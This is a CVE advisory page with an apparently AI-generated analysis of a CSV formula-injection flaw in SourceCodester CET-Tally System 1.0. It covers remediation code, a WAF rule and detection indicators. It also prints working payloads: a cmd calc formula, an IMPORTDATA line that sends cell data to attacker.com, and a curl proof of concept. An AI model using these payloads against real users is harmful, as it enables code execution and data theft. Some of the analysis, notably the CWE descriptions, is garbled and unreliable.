CVE Professor
/
All CVEs
CVE-2026-138669

CVE-2026-138669 — SourceCodester CET-Tally System — CWE-74 · CWE-1236

MEDIUM CVSS 5.3 NVD

A vulnerability was found in SourceCodester CET-Tally System 1.0. This vulnerability affects the function export_leaderboard of the file index.php of the component Leaderboard CSV Export. The manipulation of the argument Category results in csv injection. The attack may be performed from remote. The exploit has been made public and could be used.

A vulnerability was found in SourceCodester CET-Tally System 1.0. This vulnerability affects the function export_leaderboard of the file index.php of the component Leaderboard CSV Export. The manipulation of the argument Category results in csv injection. The attack may be performed from remote. The exploit has been made public and could be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality None C:N
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑138669
ProductSourceCodester CET‑Tally System 1.0 (PHP web application)
Vulnerable componentexport_leaderboard function in index.php (Leaderboard CSV Export)
Vulnerable parameterCategory (GET/POST) – the value that is written into the generated CSV file
CWE(s)• CWE‑1236 – Improper Restriction of XML External Entity Reference (mis‑labelled in the vendor advisory – the actual flaw is *Improper Input Validation* for CSV output) <br>• CWE‑74 – Improper Neutralization of Special Elements used in an OS Command (again a generic tag – the real issue is *CSV Injection / Formula Injection*)
CVSS 4.0 vectorAV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P <br>Interpretation: <br>• Network‑reachable (no authentication required) <br>• Low attack complexity (single crafted request) <br>• No privileges required (any remote user) <br>• User interaction required (victim must open the downloaded CSV) <br>• Impact – Integrity only (malicious formula execution)

Technical flaw

The export_leaderboard routine builds a CSV file by concatenating raw request data (the Category value) with other leaderboard fields and streams the result to the browser:

// pseudo‑code extracted from index.php
function export_leaderboard() {
    $category = $_GET['Category'];               // <-- no sanitisation
    $rows = $db->query("SELECT name, score FROM leaderboard WHERE cat = ?", [$category]);

    header('Content-Type: text/csv');
    header('Content-Disposition: attachment; filename="leaderboard.csv"');

    echo "Name,Score,Category\n";
    foreach ($rows as $r) {
        echo "{$r['name']},{$r['score']},{$category}\n";
    }
}
  • No validation or escaping is performed on $category before it is written to the CSV.
  • CSV‑aware applications (Microsoft Excel, LibreOffice Calc, Google Sheets, etc.) treat any cell that begins with =, +, -, or @ as a formula.
  • By injecting a leading = (or +) the attacker can force the spreadsheet program to evaluate an arbitrary formula when the victim opens the file. Typical payloads include =cmd|' /C calc'!A0 (Windows) or =IMPORTDATA("http://attacker.com/steal?data="&A1) (Google Sheets).
  • Thus the flaw is CSV/Formula injection – a classic input‑validation issue where user‑controlled data is written directly into a CSV without neutralisation.


    ⚡ Attack Chain

    1. Discovery & Reconnaissance

    StepHow the attacker proceeds
    a. Identify the productSearch public repositories, vendor sites, or “Powered‑by: CET‑Tally” strings in HTTP responses. The version number is often disclosed in the HTML comment <!-- CET‑Tally System v1.0 -->.
    b. Locate the export endpointBrowsing the UI reveals a “Export Leaderboard” button that points to index.php?module=leaderboard&action=export. The request includes a Category query string (e.g., Category=overall).
    c. Confirm injection surfaceThe attacker sends a benign request and inspects the downloaded CSV. If the Category column contains exactly the supplied value, the code is echo‑ing it verbatim → the injection vector is confirmed.

    2. Exploitation

    NOTE: The exact URI (/index.php?module=leaderboard&action=export) is inferred from the public UI; if the real path differs, replace it accordingly.

    Goal: Deliver a malicious formula that executes when the victim opens the CSV in a spreadsheet program.

    2.1 Crafting the payload

    For Windows‑Excel formula execution (classic “calc” payload):
    Category==cmd|' /C calc'!A0

    For Google‑Sheets data exfiltration:

    Category==IMPORTDATA("http://attacker.com/collect?c="&A1)

    The leading = (or +) is URL‑encoded as %3D (or %2B). The double‑equals (==) is used to keep the CSV column readable while still starting the cell with = after the server’s concatenation.

    2.2 PoC using curl

    # illustrative example – replace the host and path with the real target
    curl -G "http://target.example.com/index.php" \
         --data-urlencode "module=leaderboard" \
         --data-urlencode "action=export" \
         --data-urlencode "Category=%3Dcmd|' /C calc'!A0" \
         -o evil_leaderboard.csv

    What the server returns (simplified):

    Name,Score,Category
    Alice,1200,=cmd|' /C calc'!A0
    Bob,1150,=cmd|' /C calc'!A0

    2.3 Delivery to the victim

  • The attacker hosts the malicious CSV on a public server or sends it via phishing e‑mail.
  • When the victim double‑clicks the file in Microsoft Excel, the formula is evaluated and the calc.exe process launches (or any other command the attacker chose). In a Google‑Sheets scenario, the formula triggers an HTTP request to the attacker’s server, leaking the contents of cell A1 (or any other data the attacker can reference).
  • 3. Post‑exploitation

    PhasePotential impact
    Command execution on the clientThe attacker can run arbitrary OS commands on the victim’s workstation (e.g., launch calc, download a PowerShell backdoor, add a scheduled task).
    Data exfiltrationBy using functions like IMPORTDATA, WEBSERVICE, or HYPERLINK, the attacker can cause the spreadsheet to send internal data (usernames, internal URLs, or even other cells) to a remote server under the attacker’s control.
    PersistenceThe attacker can embed a persistent macro or a hidden sheet that re‑executes the malicious formula each time the file is opened, achieving a “low‑effort” repeat compromise.
    Lateral movementIf the victim is an employee with privileged network access, the attacker can leverage the executed command to pivot further (e.g., whoami, net view, or PowerShell remoting).

    Because the vulnerability lives client‑side, the server itself is not directly compromised; the risk is to any user who downloads and opens the CSV.


    🌍 Real‑World Impact

    CIA TriadCVSS‑derived impactPractical consequence
    ConfidentialityNone (VC:N)No direct disclosure of server data.
    IntegrityLow (VI:L)The attacker can alter the *behaviour* of the victim’s spreadsheet, leading to command execution or data leakage.
    AvailabilityNone (VA:N)No denial‑of‑service effect on the web service.
    User InteractionRequired (UI:P)The victim must open the CSV in a spreadsheet program that evaluates formulas.

    Business‑level ramifications

  • Executive‑level phishing – An attacker can embed the malicious CSV in a seemingly innocuous report, tricking senior staff into executing arbitrary code on their laptops.
  • Data leakage – Sensitive internal metrics displayed in the leaderboard can be exfiltrated via a crafted formula that contacts an attacker‑controlled domain.
  • Compliance breach – If the organization is subject to GDPR, HIPAA, or PCI‑DSS, any inadvertent data exfiltration caused by this vector may be considered a breach.

🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeThe vendor should release a patched version (≥ 1.1) that sanitises all CSV fields. Until an official release is available, apply the source‑code fix below.

| Source‑code fix | Replace the raw echo with a proper CSV‑escaping routine that also neutralises formula‑leading characters. Example in PHP 7.4+:

function csv_escape($field) {
    // 1. Escape double quotes per RFC 4180
    $field = str_replace('"', '""', $field);
    // 2. Prefix any leading formula characters with a single quote
    if (preg_match('/^[=+\-@]/', $field)) {
        $field = "'" . $field;
    }
    // 3. Enclose in double quotes if the field contains a comma, newline or quote
    if (strpos($field, ',') !== false ||
        strpos($field, "\n") !== false ||
        strpos($field, '"') !== false) {
        $field = '"' . $field . '"';
    }
    return $field;
}

// usage inside export_leaderboard()
$category = csv_escape($_GET['Category']);
...
echo csv_escape($r['name']) . ',' . csv_escape($r['score']) . ',' . $category . "\n";

2. Workarounds (if patch cannot be applied immediately)

TechniqueImplementation
WAF / ModSecurity ruleBlock or sanitise any request that supplies a Category value beginning with =, +, -, or @. Example rule (ModSecurity 2.9+):
SecRule ARGS:Category "@rx ^[=+\-@]" \
    "id:2026138669,\
     phase:2,\
     deny,\
     status:400,\
     msg:'CSV injection – leading formula character in Category parameter',\
     log"
Restrict download to authenticated usersEven though the CVSS vector assumes *PR:N*, limiting the export to logged‑in users reduces the attack surface dramatically. Add a simple session check before invoking export_leaderboard().
Force download as plain‑text (no .csv extension)Some spreadsheet programs only auto‑evaluate formulas when the file extension is .csv or when the MIME type is text/csv. Serving the file as application/octet-stream with a .txt extension removes the automatic formula parsing in many clients, though it is not a full mitigation.
Client‑side hardeningEducate users to open CSV files in a plain‑text editor first, or to disable “Enable automatic formula evaluation” in Excel (File → Options → Advanced → *Disable* “Enable automatic calculation”).

3. Detection – Log signatures & IoCs

Log sourceIndicator
Web server access logs (Apache/Nginx)Requests to index.php (or the export endpoint) where the Category query string contains %3D, %2B, %40, or %2D and the response status is 200. Example line: <br>GET /index.php?module=leaderboard&action=export&Category=%3Dcmd'%20/C%20calc'!A0 HTTP/1.1" 200 12345
ModSecurity alerts (if rule above is deployed)Alert ID 2026138669 with message “CSV injection – leading formula character in Category parameter”.
Endpoint monitoringSpike in outbound DNS or HTTP requests from client workstations to domains that were never contacted before (e.g., attacker.com/collect). This is typical of a successful IMPORTDATA/WEBSERVICE payload.
Endpoint EDRExecution of calc.exe (or any other unexpected process) shortly after opening a CSV file from the web server.

⚠️ Urgency

FactorAssessment
CVSS 3.1 base score5.3 (Medium) – low‑to‑moderate impact, but the *exploitability* is high because no authentication is required.
Exploit availabilityThe advisory explicitly states that a public exploit exists. This dramatically raises the *real‑world* risk.
User interactionRequired, but the target is a business‑critical reporting UI that many employees will download regularly, making phishing or “trusted‑source” attacks trivial.
CISA KEVNot listed, but the presence of a public exploit and the ease of weaponisation merit a high‑priority internal response.

Recommended priority: P1 – Immediate (apply the source‑code fix or WAF rule within 24 hours, then schedule a full version upgrade). Delay beyond a few days leaves the organization exposed to low‑effort client‑side compromise that can be leveraged for broader intrusion campaigns.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
5.3 / 10 · CVSS MEDIUM
Weakness Types (CWE)
CWE-74 CWE-1236
Affected Products (1)
SourceCodester:CET-Tally System
Related CVEs
7.3
CVE-2026-144885
A vulnerability was identified in SourceCodester Secured E-Voting System 1.0. The impacted element is an unkno
8.2
CVE-2026-144963
Docutils before 0.23.1 contains a TeX injection vulnerability in the LaTeX writer that allows attackers supply
8.0
CVE-2026-45263
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Lib/Export/C
7.9
CVE-2026-119614
A flaw was found in CRIU. This vulnerability allows an attacker to break container isolation by supplying a ma
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun
7.3
CVE-2026-144886
A security flaw has been discovered in Kinkando Dormitory-Management-System fec1a4d56880483124294772e42369cb31
6.3
CVE-2026-144777
A weakness has been identified in itsourcecode Stock Management System 1.0. Affected by this issue is some unk